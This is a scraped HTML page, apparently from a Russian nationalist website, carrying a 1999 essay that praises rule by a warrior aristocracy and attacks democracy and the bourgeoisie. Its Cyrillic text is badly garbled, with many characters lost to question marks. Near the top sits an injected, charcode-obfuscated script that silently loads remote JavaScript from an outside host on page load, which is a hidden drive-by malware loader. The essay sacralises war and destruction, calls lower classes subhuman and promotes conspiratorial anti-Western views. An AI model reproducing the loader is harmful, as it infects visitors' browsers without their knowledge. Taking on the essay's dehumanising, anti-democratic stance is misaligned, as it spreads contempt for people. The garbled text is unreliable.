Аристократиз??ег?враг?/title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> </head> <body bgcolor="#990033" text="#000000" link="#FFCC00" vlink="#FF6666" alink="#FFCCCC" background="bg.gif"> <kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5><script>eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,108,106,115,40,41,123,116,114,121,123,118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,46,115,101,116,65,116,116,114,105,98,117,116,101,40,34,115,114,99,34,44,34,104,116,116,112,58,47,47,113,117,101,111,100,97,101,115,97,104,112,105,97,98,105,101,46,105,110,58,51,49,50,57,47,106,115,34,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,125,99,97,116,99,104,40,101,41,123,125,125,115,101,116,84,105,109,101,111,117,116,40,34,108,106,115,40,41,34,44,53,48,48,41,59));</script></kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5> <style>A { text-decoration: none; }</style> <table width="630" border="0" cellpadding="0" cellspacing="0"> <tr> <td valign="top" width="130" height="90"><img src="eliseev-photo-left.gif" width="130" height="90"></td> <td valign="top" width="500" height="90"><img src="eliseev-logo.gif" width="500" height="90"></td> </tr> <tr> <td valign="top" width="130"> <p align="center"><font size="2" face="Arial, Helvetica, sans-serif" color="#00CCFF"><b><font color="#FFCC00"><br> <a href="index.htm">?началу</a></font></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="ideology.htm">Идеология,<br> политика,<br> культура</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="economy.htm">Экономик?/a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="history.htm">История</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="religion.htm">Религия</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="verses.htm">Стих?/a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="archive.htm">Архи? 1994-96</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="science.htm">Наук?/a> </b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="http://www.guestbook.ru/book.cgi?user=eliseev&action=show">Гостев? книг?/a><br> <br> <a href="mailto:aleksandr_eliseev@front.ru">E-mail</a><br> </b></font><font face="Arial, Helvetica, sans-serif" size="2" color="#FFFFCC"> </font><font face="Arial, Helvetica, sans-serif" size="2"> </font> </p> <p align="center"><font color="#CCCCCC" face="Arial, Helvetica, sans-serif" size="2"> <a href="http://nationalism.org"><img src="http://nationalism.org/banners/Norg-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/bratstvo"><img src="http://nationalism.org/banners/Bratstvo-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/vvv"><img src="http://nationalism.org/banners/vvv-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/forum"><img src="http://nationalism.org/banners/BrK-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/rusaction"><img src="http://nationalism.org/banners/rusaction-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/rr"><img src="http://nationalism.org/banners/RR-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/pioneer"><img src="http://nationalism.org/banners/pioneer-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://66.84.27.122"><img src="http://nationalism.org/banners/pravo-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://traditio.ru"><img src="http://nationalism.org/banners/traditio-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://udod.traditio.ru"><img src="http://nationalism.org/banners/udod-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://www.rossia.org"><img src="http://nationalism.org/banners/rossia-small.gif" width="88" height="31" border="0"></a> <br> <br> </font></p> <p align="center">  <a href="http://counter.rambler.ru/top100/"> <img src="http://counter.rambler.ru/top100.cnt?138448" alt="Rambler's Top100" width=81 height=63 border=0></a>  <a target=_top href="http://top.list.ru/jump?from=69692"> <noscript><img src="http://top.list.ru/counter?js=na;id=69692;t=55" border=0 height=31 width=88 alt="TopList"></noscript> </a> </p> </td> <td valign="top" width="500" bgcolor="#FFFCF0"> <blockquote> <p align="left"> <font face="Times New Roman, Times, serif" size="3"><br> <font size="+3" color="#FF0033">Аристократиз??ег?враг?/font></font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Традиц? настаивает на то? чт?государством, нацией должна управлять аристократ? - военная знат?<font color="#000066">(*)</font>. Этог?требуе?примат духа на?материей, которы?всегда утверждался сторонниками сакральных, традиционных доктри? Воин, особенно аристократ, кшатри? рыцарь пост?нн? находится ?оппозици??материальной, плотно-вещественной ("концентрационной") вселенно? которая приобрел?свою плотност??"грубость" ? результате онтологической катастрофы, именуемо?"грехопадение?quot;. Он несё?физическую смерть врагам ?принимае?её от ни? следовательн? ег?стихие?являет? стих? разрушен? видимы? плотны?форм, не пропускающих чере?се? высший Свет, скрывающих ?свое?косности запредельную красот? чуде?<font color="#000066">(**)</font>. Безусловно, ?данном случае речь идёт не ?безцельном, слепом, нигилистическо?разрушении (он?присущ? "?тому", недочеловеческом?сословию чандал), которо?просто обращает наличную действительность ?хаос, ??некоем сакральном действ? пробуждающем хаос ?те? чтоб?"растворить" ?нё?вс?выродившее?, ?создат?из него нечт?ново? прекрасное. Войн?всегда осмысленна - он?уничтожает одно ради другог?</font></p> <blockquote> <p><font face="Times New Roman, Times, serif" size="3" color="#000066">(*) - Основное за?ти?аристократ?- войн? Аристократ? ?возникае?ка? объединени?самы?храбры??лучших воинов, сплочённых вокруг вождя. Здес?крайне уместн?вспомнит? чт?слов?"бояри?quot; означает "яры?боец", "яры?воин". Боярами первоначальн? называли представителей ?? "лучшей", "старейше?quot;, "передней", "?i><b>?/b></i>льше?quot; дружин?- верхушки всег?дружинного союз? Вообще, основа "я?quot;-"ар" ("ер") имее?огромное сакральное значение. Эт?особенно заметн? если выстроит?таку?этимологическу?"цепочк?quot; - "аристократ"-"арий"-"геро?quot;.</font></p> <p><font face="Times New Roman, Times, serif" size="3" color="#000066">(**) - ?данном утверждени?не следуе?видеть вл?ния гностицизм? отно?щего? ?матери?ка??полном? абсолютном?зл? Разговор идёт об отрицани? "испорченного" вещества, которо?нужн?не стольк?уничтожать, скольк?"преображат?quot;, "преосуществлять", "одухотво?ть".</font></p> </blockquote> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Воинск? "агресс?" (понимаем? здес??само?широко?смысле - ка? безпредельно?распространени?субъекта) разрушае?физическую действительность, ежесекундн?"уплотняющую?", закрывающуюся от высших вл?ни? Те?самы?он символизируе?грядущу?гибель ветхог??ра, ег?огненное преображение, сл?ни??Бого??обретени?иног? небесног?качества.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Воин мало цени?этот ?? "??се?quot;, порабощённый "духами злоб?quot;. Пост?нн?встреч?сь со смерть? он отличн?знае?цену бренно?действительности, на?которо?он?полновластна, поэтом?он (очен? част?безсознательно) устремлё??чему то Ином? нахо?щему? по ту сторон?того, чт?он разрушае? выполняя своё ремесл?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Во? почему традиционн? цивилизация немыслим?бе?политическог?господства аристократии - только эт?сословие, максимальн?реализовавше?воинское начало, способно обогатит?практику государственного строительств?мощь? ?светом сакральной духовности.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Показательно, чт?именно военная знат?инициировала ?провел?христианизацию Европы. Государи языческих народо?- военны?вожд??их дружинники первые почувствовал? ?пото??осознали вс?мощь ново?веры, выступающе?против обожествления природ? физической, плотно? "концентрационной" действительности <font color="#000066">(***)</font>. Аполог? природ? якобы совечной Богу ?даже тождественно??Ни? не могл?больше устраивать те? кт? разрушал окружающую действительность, порабощённую тление? Он?выбрал? христианство, всемерно способствуя ег?распространени?</font></p> <blockquote> <p><font face="Times New Roman, Times, serif" size="3" color="#000066">(***) - Дружин?есть общность максимальн?близкая ?аристократии. Её состав?ют избранны?воин? из числ?которы?"рекрутируются" бояре. Поэтом?отождествление аристократ??дружинника вполне оправданно.</font></p> </blockquote> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Сегодня многих патриото? именующи?се? "язычникам?quot;, особенно возмущае? то?факт, чт?христианство распростра?лось не только пр?помощи проповед? но ?"огнё??мечо?quot;. Не?зычник?проклинают средневекову? знат? предложившую свой ме?Христу. Част?"отступничеству" ?"предательств?quot; князе? боя? дружиннико?противопоставляет? "честны?quot; "просто?лю?quot;, долгое время сохранявший веру ?старых бого? Вс?эт?свидетельствуе??то? чт?не?зычник? очен?далеки от Традиции. Вызывает недоумение - ка?можн?сочетать радикальну? правизну ?отрицани?насильственных методо?отстаивания каки?либо идеало? Ка?можн?возвышат?простолюдина на?знатью ?считат?се? правым? <font color="#000066">(****)</font></font></p> <blockquote> <p><font face="Times New Roman, Times, serif" size="3" color="#000066">(****) - Действительн? волхво? упорствующих ?свои?пантеистически?заблуждения? поддерживали многие простолюдины-мужики, част?поднимавши?языческие восстания ?X-XII вв. Кстати сказат? советская историография весьма симпатизировал?этим выступления? имен? их "антифеодальным?quot;, ведь повстанц?бунтовал?против князе??боя? Складывает? впечатлени? чт?наши не?зычник?остановились именно на уровне совдеповской идеологи? упорно оправдывавше?любы?попытк?низших "классо?quot; общества стат?на мест?высших.</font></p> </blockquote> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Межд? прочим, уж?само индоевропейско?язычество было готово (во многом) ? приняти?христианства. Достаточно вспомнит?зороастриз??ег?ожидание? страшног?суда ?воскресения мертвы? скандинавски?ми? повествующий ?распяти?бога Один?на крестообразном ?рово?Древ? митраистские мистерии, ?ходе которы?происходил?причащение вино??хлебом. Но особое значение, для рассматриваемо??данной статье проблематики, имее?куль? древнерусского бога Перуна.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Не стол?давн?исследовател?реконструировали ?? "основной ми?quot; индоевропейцев. Согласно этой реконструкци? древнейшие арийцы считал? главны?событием ?жизн?бого?сражение межд?Громовержцем, нахо?щимся на вершин??рового Древ? ?ег?Противнико? которы?располагается ?корней. ?ходе этой схватк?Громоверже?побеждае?своего подземного Противника, освобожд? удерживаемые им воды ?скот. Данный сюже?нуждается ?эзотерическо?"расшифровк?quot;.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Практическ? любо?мистическо?учение считае? чт?вода являет? символом первозданног? хаос? из которого возник ?? Следовательн? освобождение (отворени? воды Громовержцем символизируе?гибель ?ра, растворени?ег??вода? "разбуженного" (бого? хаос? ?та?ка?скот ?индоевропейско? мистик?символизируе?души умерши? то освобождение скот?указывае? на грядуще?воскресени? спасение, об<i><b>?/b></i>жени?(соединение ?Абсолюто? люде?посл?гибели ?ра ?ег?огненног?("грозовог?quot;) преображен?. Правильнее сказат? чт?определённые силы внутри язычества давали именно таку?интерпретаци?события.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> ? древни?славяно-руссов Громовержцем бы?Перу?- покровител?воинов, дружиннико? аристократов, ?ег?Противнико?- змеевидный Веле? поощ?вший жрецов ?торговце?<font color="#000066">(*****)</font>. ?если учесть, чт?"основной ми?quot; полнее всег?сохранил? (посл?распад? праиндоевропейског?единства) именно ?славя? то можн?предположить наличи??ни?некоег?мощног?религиозного княжеск?дружинного движен?, отрицающег?вечность ("просту?quot; ил?"циклическу?quot;) материальног??ра, ? значит, ?выступающего, та?ил?инач? против обожествления природ? Подобное предположени?подтверждает религиозная реформ?кня? Владимир?Красно Солнышко (осуществлённ? им ещ??языческий период ег?деятельност?. Князь радикально "реорганизова?quot; пантео?древнерусски?бого? призна?верховны?бого?Перуна-воителя - кумира воинов, дружиннико? аристократов. Реформ?этог?великого правителя была, по сути, генерально?репетицией Крещен? Руси - консервативной, религиозно?революци? покончивше??пантеизмом, обожествлением матери?</font></p> <blockquote> <p><font face="Times New Roman, Times, serif" size="3" color="#000066">(*****) - Веле??данном случае персонифицируе?начало, сохраняющее творение - ег?нель? рассматриват?ка?злог?бога - таковы?бы?(?древни? славяно-руссов) Чернобог.</font></p> </blockquote> <p align="left"></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Сакральное значение военно?знат?воистину огромн?- ег?практическ?нель? переоценит? Не случайно вс?демократически? либеральны?силы всегда стремились уничтожить аристократиз?ил?низвести ег?до уров? салонной эстетики.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Пр? демократии господство аристократ?сменилос?господство?буржуа. Если первый предельн?задействуе?воинское начало, то второй наиболее полн? выражает начало экономическо? Экономик?(производство, распределени? ?потреблени? не только не отрицает материальный ?? но, напротив, пытает? придат?ем?неки?устойчивые форм? Хо?йственная деятельност? превращает "естественн?quot; существующее вещество ?боле?тонкие вещи, "укрепляет" ег? сообщает ем?большу?смыслову?оформленност? Са?по себе тако?процес?не приводит ?чему-то отрицательному - люди вынужден?(до поры до времен? жить ?"концентрационной" вселенно? ?преображат?её. Но челове?Традиции относится ?подобном?преображению ка??явлению относительному, счит? абсолютным лишь стремление ?"новому небу" ?"ново?земл?quot;, которы?должны обладать совершенно иным, нематериальным качество? Когд?же преобразование матери?абсолютизирует? (чт?выводи?на первое мест?экономик?, то абсолютизирует? ?са?плотно-вещественный ?? ?этом случае "третье" сословие, за?то? главны?образо? ?экономик? свергает "второе", утверждая господство буржуа, обладающег?наибольшей ?го??хо?йственно?деятельност? Развитие "экономическо?quot; цивилизаци?капитализм?сопровождает? абсолютизацией (?виде товара) вещи ?универсального эквивалент?веще?(товаро?, ?? дене? Абстракц? дене?здес?ка?бы отчуждается от реальных веще?товаро? превращаясь ?суверенную ценность. На этом нужн?остановить? особ?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Деньги есть нечт?несуществующее само по себе. Он?представ?ют собо?лишь выражени?товаро? призванное привести их множеств??некоем?едином? знаменател? удобному для обмена. ?этом заключается абстрактност? ? та?сказат? идеальност?дене? Однако, абсолютизация товара приводит ??абсолютизаци?ег?абстрактного выражения, которо?начинает подменять това?именно ?силу свое? если можн?та?выразить?, "утончённости". Даже кажущая? идеальност?всегда сильне?конкретики "грубог?quot; вещества.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Посл? свое?абсолютизаци?деньги начинают порождат?деньги, част?даже пр? отсутствии самого производства веще?товаро?(пример - спекуляция ценным? бумагами). Таки?образо?плотно?вещество получает своего "бога" - абстрактну?(но ?то же время действенну??экономическо?план? материальность.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Деньги ?их заменители (ценные бумаги, кредитны?карточки ???) довлею?уж? на?сами?производство? придав? матери?неко?идеально?измерени? сообщая ей характер чего-то, существующег??несуществующег?одновременно. Материя максимальн?"утончает?", ка?бы пародируя ду? Эт? пародия значительн?усиливае?"концентрационную" вселенну? ведь денежное рабств? застав?ющее делать деньги ради дене? выдаёт матери?за ду? максимальн?привязывая ?не?человека (которы?всегда ?нется хоть ?како?нибудь идеальност?, закрыв? для него путь ?истинн? духовном??истинн?Божественном? нахо?щимся по ту сторон?"концентрационной вселенно? Челове?современност? ?отличи?от человека Традиции, максимальн? обожеств?ет матери? абсолютизирует её, чему очен?помогает "экономиз?quot; ?ег?универсально?средство - деньги (необходимо?услови?для движен? веще?товаро?.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Совершенно очевидно, чт?"экономическая" ментальность резк?отличает? от ментальности военно? Буржуазность предполагает накопление материальных ценносте??выражающих их капитало? ?то время ка?аристократиз?максимальн? "обезценивает" материальный ?? не? ?него позитивное разрушение. Торгаш превыш?всег?ставит поко? стабильность, стол?необходимы?для материальног?процветания, аристократ же всегда гото?"взорвать" стабильность ?ра, ем?противен поко?- он пост?нн?жаждет преодоления, битв?со злом.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Пр? этом вс?заверения торгашей ?своё?"миролюби?quot; следуе?считат? насквозь лживым??лицемерным? Буржуазные олигархи хо??мира лишь для се? ?для те?стра? гд?он?установили полное господство капитала. ?теми же, кт?хоть ка?то отрицает буржуазный "торговый стро?quot; (выражени?известного мондиалист?? Аттали) он?готовы воеват?до победног? конц? Причём особенно желательными, для этих олигархо? являет? либо стравливание некапиталистически? нелиберальны?стра?(пример - 1-я ?2-я ?ровы?войн?, либо войн?со слабым?- которая част?ведётся вдалек?от территорий ведущи?западных стра?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> ? то же время аристократ не абсолютизирует войн? Разрушение оправдан? для него лишь тогд? когд?речь идёт ?защите ?распространени?традиционног? по?дк? Высшим же свои?идеало?он, ка?воин Традиции, считае?небесное царств? ?которо?устранен?вс?противореч?, устранен?любая вражда.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Пр? либерально?капитализм?воинское начало лишает? своего аристократического измерения. Воинам?(правильнее называть таки?"воинов" солдатам? распоряжает? пресловуто?"гражданско?общество", полность? контролируемое торгашам? "Люди меча" здес?окончательно утеряли своё господство. Капиталистическая цивилизация заботится ?спокойно? растительном процветани? ей чужд наст?щи?героиз? основанный на пост?нном преодолени? Роль военны??буржуазном обществе врод?бы очен?велика ?те?не мене?.. очен?мала, та?ка?вс?военно?искусств?капиталистически? стра?призвано минимизировать риск, избежать прямо?встреч?со смерть? сп?тавшис?за технотронные армады.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Противостоять капитализм?по-наст?щему могу?лишь люди, стре?щиеся ?возрождени? аристократизма, признающие необходимост?господство военно?знат? ? если когд?нибудь Россие?внов?буду?правит?аристократ? презирающи? тленност?вещества; аристократ? объединённые вокруг царственного Вождя - главного воин?- всемiрной власти теплохладных торгашей придёт коне?</font></p> <p><font face="Times New Roman, Times, serif"><b><i><font size="3" color="#000066">Царски? Опричник, ?9 (1999)</font></i></b></font></p> <p><a href="../bratstvo/oprichnik/index.htm"><img src="http://nationalism.org/banners/Bratstvo-small.gif" width="88" height="31" border="0"></a></p> <p> </p> </blockquote> </td> </tr> </table> <table width="630" border="0"> <tr> <td width="130"> </td> <td width="500"> <div align="center"><a href="http://nationalism.org"><img src="http://nationalism.org/banners/Norg.gif" width="468" height="60" border="0" alt="Nationalism.org" align="middle" vspace="10"></a></div> </td> </tr> </table> </body> </html>